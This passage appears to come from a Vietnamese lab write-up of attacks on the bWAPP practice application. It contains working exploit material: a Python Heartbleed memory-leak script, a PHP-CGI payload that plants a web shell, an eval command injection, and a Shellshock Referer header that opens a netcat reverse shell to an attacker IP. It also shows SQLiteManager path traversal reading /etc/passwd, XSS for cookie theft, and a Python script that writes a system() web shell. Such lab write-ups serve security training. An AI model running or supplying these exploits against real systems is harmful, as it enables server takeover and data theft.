0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main() ``` - Sau khi thực thi payload code python trên bằng lệnh ` python heartbleed.py 192.168.38.145 > output.txt` thì đã lấy được respone được lưu ở server khi truyền về cho người dùng bao gồm giá trị quan trọng như cookie ![image](https://hackmd.io/_uploads/B1G7zpOr0.png) - Khai thác thành công --- PHP CGI Remote Code Execution --- **1. Chức năng của ứng dụng** - Đề bài này đề cập đến một lỗ hổng bảo mật cụ thể liên quan đến việc thực thi mã từ xa (Remote Code Execution) trong môi trường sử dụng PHP dưới dạng CGI (Common Gateway Interface) (Hình 1.1) ![image](https://hackmd.io/_uploads/r1Dh4p_HR.png) Hình 1.1. Yêu cầu của bài lab - Đề bài nói rằng Thư mục quản trị của ứng dụng web sử dụng PHP trong chế độ CGI ![image](https://hackmd.io/_uploads/ryFZfAuHA.png) Hình 1.2 Trang phpinfo() trong thư mục admin - Cách dùng các đối số khác như sau ``` user@debian:~$ php-cgi -h Usage: php [-q] [-h] [-s] [-v] [-i] [-f ] php [args...] -a Run interactively -b | Bind Path for external FASTCGI Server mode -C Do not chdir to the script's directory -c | Look for php.ini file in this directory -n No php.ini file will be used -d foo[=bar] Define INI entry foo with value 'bar' -e Generate extended information for debugger/profiler -f Parse . Implies `-q' -h This help -i PHP information -l Syntax check only (lint) -m Show compiled in modules -q Quiet-mode. Suppress HTTP Header output. -s Display colour syntax highlighted source. -v Version number -w Display source with stripped comments and whitespace. -z Load Zend extension . -T Measure execution time of script repeated times. ``` - Test thử đối `-s` để đọc code thì đã thực thi được code nên có vẻ lỗ hổng này đã tồn tại **2. Khai thác ứng dụng** - Trang web tham khảo cách tấn công [Link](hhttps://www.pentesterlab.com/exercises/cve-2012-1823/course) - Sau khi tham khảo các cách tấn công em đã tìm ra cách để RCE được ứng dụng web này. Payload để thực thi điều này như sau: ``` echo "<?php file_put_contents('/var/www/bWAPP/exploit.php', '<?php system(\$_GET[\"cmd\"]); ?>');die(); ?>" | POST "http://192.168.38.145/bWAPP/admin/phpinfo.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` - Giải thích: - `echo "<?php file_put_contents('/var/www/bWAPP/exploit.php', '<?php system(\$_GET[\"cmd\"]); ?>');die(); ?>"` dùng để ghi nội dung file vào tệp `exploit.php` - `POST "http://192.168.38.145/bWAPP/admin/phpinfo.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` - `http://192.168.38.145/bWAPP/admin/phpinfo.php`: URL mục tiêu mà yêu cầu POST được gửi tới. `?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`: - `-d+allow_url_include=1`: Bật tùy chọn allow_url_include trong PHP, cho phép bao gồm tệp từ URL (bao gồm cả php://). - `-d+auto_prepend_file=php://input`: Thiết lập tùy chọn auto_prepend_file để PHP tự động đọc và thực thi mã từ dữ liệu đầu vào của yêu cầu HTTP (php://input) - Đối số `-d` cho phép đặt hoặc thay đổi các giá trị cấu hình của PHP trực tiếp từ dòng lệnh để tạm thời ghi đè các thiết lập trong tệp `php.ini` mà không cần phải chỉnh sửa tệp cấu hình trực tiếp. - Payload trên đã ghi được 1 file shell chứa lệnh system có thể RCE được server ![image](https://hackmd.io/_uploads/SJsRj1tSC.png) Hình 2.1. Có thể đọc được tất cả source code --- PHP Eval Function --- **1. Chức năng của ứng dụng** - Có vẻ như như chương trình đang dùng một hàm nguy hiểm ở trong code (Hình 1.1) ![image](https://hackmd.io/_uploads/ryCet_FHA.png) Hình 1.1. Yêu cầu của bài lab - Check source code của `php_eval.php` thì thấy chuwogn trình đang sử dụng hàm `eval` nhận giá trị trong Request để xử lí (Hình 1.2) ![image](https://hackmd.io/_uploads/HJYRcdtHR.png) Hình 1.2. Biến eval nhận giá trị trong Request ở tham số eval để xử lí - Hàm eval có chức năng xử lí code PHP ![image](https://hackmd.io/_uploads/HJ64autrR.png) **2.Khai thác ứng dụng** - Hàm eval xử lsi code PHP vậy chúng ta có thể chèn các hàm nguy hiểm khác PHP như `system` vào trong hàm `eval` để thực thi lệnh hệ thống. - Chèn lệnh system thực thi command `id` với payload `echo system(id)` --- Shellshock Vulnerability (CGI) --- **1. Chức năng của ứng dụng** - Khai thác Shellshock qua header `Referer` (Hình 1.1) ![image](https://hackmd.io/_uploads/Bk9RIqKBR.png) Hình 1.1. Yêu cầu của bài lab - Khi sao chép đề thấy rằng đoạn `This is my first...` được lấy từ một iframe khác ![image](https://hackmd.io/_uploads/S1VLjiYrR.png) - Iframe đó lấy dữ liệu từ một file bên trong thư mục `cgi-bin` là một thư mục chứa các tệp thực thi `bashscript` **2. Giả thuyết** - CGI là một chuẩn cho phép máy chủ web chạy các chương trình thực thi như script để tạo ra nội dung động và các script CGI thường đặt trong thư mục cgi-bin trên máy chủ web. - `shellshock.sh` là một script Bash. Khi máy chủ web nhận được yêu cầu HTTP tới URL này, nó sẽ chạy script Bash `shellshock.sh`. - Nếu script này sử dụng các biến môi trường (ví dụ: các tiêu đề HTTP như Referer, User-Agent, v.v.), các biến môi trường này sẽ được truyền đến Bash. - Vậy liệu chúng ta có thể chèn được script Bash để tạo kết nối máy chủ từ xa rồi thực thi mã từ xa không ? **3. Khai thác** - Tạo script Bash để kết nối từ xa: ``` Referer: () { :;}; echo "Shellshock Vulnerability TEST" $(/bin/sh -c "nc -e /bin/bash 192.168.38.130 4444") ``` - Giải thích: - `() { :;};`: Tạo ra một hàm không hợp lệ để kích hoạt lỗ hổng ShellShock tiếp tục thực thi phần mã sau định nghĩa hàm. - `echo "Shellshock Vulnerability TEST"`: Để kiểm tra xem payload có thực sự được thực thi hay không - `$(/bin/sh -c "nc -e /bin/bash 192.168.38.130 4444")`: - `$(...)` là cú pháp để thực hiện lệnh bên trong và thay thế nó bằng kết quả đầu ra của lệnh đó. - `/bin/sh -c` cho phép thực thi một lệnh shell. - `"nc -e /bin/bash 192.168.38.130 4444"` là lệnh thực thi nc (netcat) để mở một kết nối mạng. - `nc -e /bin/bash` sử dụng nc để mở một shell Bash. - `192.168.38.130` là địa chỉ IP của máy tính kẻ tấn công. - `4444` là cổng mà kẻ tấn công đang lắng nghe kết nối. - Tạo một yêu cầu lắng nghe bến máy kẻ tấn công (Hình 3.1) ``` nc -lvnp 4444 ``` ![image](https://hackmd.io/_uploads/BkuILm9HR.png) Hình 3.1. Tạo yêu cầu lắng nghe phía kẻ tấn công - Đưa payload thực thi bash script vào trong header Referer ở đường dẫn `http://192.168.38.145/bWAPP/cgi-bin/shellshock.sh` (Hình 3.2) ![image](https://hackmd.io/_uploads/SkasL75H0.png) Hình 3.2. Chèn thêm Header Referer với payload đã được chuẩn bị ở trên - Bấm bấm gửi Request sẽ tạo ra được kết nối tới máy chủ ứng dụng từ máy kẻ tấn công và thực thi mã từ xa (Hình 3.3) ![image](https://hackmd.io/_uploads/rkwlDm5B0.png) Hình 3.3. Thành công thực thi mã từ xa tới máy chủ web --- SQLiteManager Local File Inclusion --- **1. Chức năng của ứng dụng** - Khai thác lỗ hổng LFI trên SQLiteManager phiên bản cũ (Hình 1.1) ![image](https://hackmd.io/_uploads/S1jpP75H0.png) Hình 1.1. Yêu cầu của bài lab - SQliteManager phiên bản 1.2.4 ![image](https://hackmd.io/_uploads/S1edFKqHA.png) - Tìm thấy được theo gợi ý `CVE-2007-1232` liên quan đến việc tận dụng cookie để thực hiện LFI ![image](https://hackmd.io/_uploads/B1aAkkoBC.png) - Khi vào được link [https://cxsecurity.com/issue/WLB-2007030064](https://cxsecurity.com/issue/WLB-2007030064) nằm trong trang tổng quan về CVE trên thì ta thấy rằng ngoài LFI phiên bản này còn bị cả XSS ![image](https://hackmd.io/_uploads/ByTIeJoS0.png) **2. Giả thuyết** - Theo như nội dung về PoC trên thì muốn khai thác được XSS thì người dùng cần có quyền tạo ra bảng mới với tên chứa mã độc, mã này sẽ được lưu trữ trong cơ sở dữ liệu. Khi quản trị viên mở SQLiteManager và xem bảng này, mã độc sẽ được thực thi và cookie của quản trị viên có thể bị đánh cắp. - Còn nếu muốn khai thác LFI thì chúng ta cần vào trang chính của bản quản trị `/sqlite/` và chèn thêm tham số cookie là SQLiteManager_currentTheme với giá trị là payload để thực hiện LFI ![image](https://hackmd.io/_uploads/Skeu1JsrA.png) **3. Khai thác** - Thực hiện khai thác LFI trước, thì chúng ta cần dùng Burp để bắt được gói tin chứa đường dẫn `/sqlite/` ![image](https://hackmd.io/_uploads/SJzvzJsSC.png) Hình 3.1. Lấy Request giống như trong PoC - Thêm tham số SQLiteManager_currentTheme với giá trị là `../../../../etc/passwd%00` và gửi gói tin để đọc được nội dung file `/etc/passwd` ![image](https://hackmd.io/_uploads/Hk9eEJjrC.png) Hình 3.1. Thêm tham số vào `cookie` và nhận được nội dung tệp `/etc/passwd` - Trong trang index của sqlite xuất hiện chức năng Trigger lưu trữ giá trị mình nhập và hiện thị nó trong bảng vậy nên sẽ khai thác XSS ở đây (Hình 3.2) ![image](https://hackmd.io/_uploads/SJLFwysS0.png) Hình 3.2. Khai thác XXS bằng cách chèn payload vào ô nhập Name hoặc Step - Thành công thực hiện XSS (Hình 3.3) ![image](https://hackmd.io/_uploads/Skd4u1jrR.png) Hình 3.3. Kết quả khi thực hiện chèn payload XSS hiển thị cookie --- SQLiteManager PHP Code Injection --- **1. Chức năng của ứng dụng** - Khai thác lỗ hổng để dùng code PHP thực thi mã từ xa trên SQLiteManager phiên bản cũ (Hình 1.1) ![image](https://hackmd.io/_uploads/S1GPF7qHA.png) Hình 1.1. Yêu cầu của bài lab - Search google về lỗ hổng này thì kết quả tìm kiếm đã xuất hiện trang chứa mã khai thác lỗ hổng này ![image](https://hackmd.io/_uploads/SJ_DkloHR.png) Hình 1.2. Tìm kiếm thông tin về lỗ hổng - Tải xuống PoC để khai thác tự động lỗ hổng ![image](https://hackmd.io/_uploads/B12nyeirA.png) Hình 1.3. PoC khai thác lỗ hổng **2. Khai thác** - Em viết lại Payload loại bỏ những phần thừa và thực thi mã từ xa để RCE ```javascript= import re import urllib.request from urllib.parse import urlencode from sys import argv, exit def strip_tags(value): # Strip tags with RegEx return re.sub('<[^>]*?>', '', value) def getDbId(sqliteUrl, myDbName): # Find Components htmlRes = urllib.request.urlopen(sqliteUrl, None, 120).read().decode('utf-8') if htmlRes: # If you found it take all the rows td = re.findall('<td class="name_db">(.*?)</td>', htmlRes, re.DOTALL) # Make a dict of stripped columns for element in td: if strip_tags(element) == myDbName: # Return Id return "".join(re.findall('\\?dbsel=(.*?)"', element, re.DOTALL)) return None def main(): print( 'SQLiteManager Exploit\n' ) if len(argv) < 2: # replace('\\', '/') - To Do The Same In Win And Linux filename = argv[0].replace('\\', '/').split('/')[-1] print('Execute Example: ' + filename + ' http://127.0.0.1/sqlite/\n') exit() sqliteUrl = argv[1] myDbName = "phpinfo" myDbFile = "phpinfo.php" # Create Database params = {'dbname': myDbName, 'dbVersion': '2', 'dbRealpath': None, 'dbpath': myDbFile, 'action': 'saveDb'} urllib.request.urlopen(sqliteUrl + "main.php", urlencode(params).encode('utf-8'), 120) # Get Database ID dbId = getDbId(sqliteUrl + "left.php", myDbName) # If Database Created if dbId: # Create Table + Shell Creator params = { 'DisplayQuery': 'CREATE TABLE temptab ( codetab text );\n' + \ 'INSERT INTO temptab VALUES (\'<?php system($_GET["cmd"]); ?>\');\n', 'sqlFile': None, 'action': 'sql', 'sqltype': '1' } urllib.request.urlopen(sqliteUrl + "main.php?dbsel=%s&table=temptab" % dbId, urlencode(params).encode('utf-8'), 120) # Inject Code urllib.request.urlopen(sqliteUrl + myDbFile, None, 120) # Remove Database urllib.request.urlopen(sqliteUrl + "main.php?dbsel=%s&table=&view=&trigger=&function=&action=del" % dbId, None, 120) print('Succeed') return print('Failed') if __name__ == '__main__': main() ``` - Thực thi payload trên bằng cách đưa nó vào file python và thực thi với đối số là URL `http://IP_Web/sqlite/` (Hình 2.1) ![image](https://hackmd.io/_uploads/Bkl-tgiSR.png) Hình 2.1. Thực thi payload thành công - Payload trên đã tạo ra một file `phpinfo.php` thêm đường dẫn file vào và thực thi lệnh command bằng cách thêm các command và tham số cmd (Hình 2.2) ![image](https://hackmd.io/_uploads/SJs_tgoSR.png) Hình 2.2. Thành công thực thi commanf đọc tệp `/etc/passwd` bằng đường dẫn `http://192.168.38.145/sqlite/phpinfo.php?cmd=cat%20/etc/passwd` ---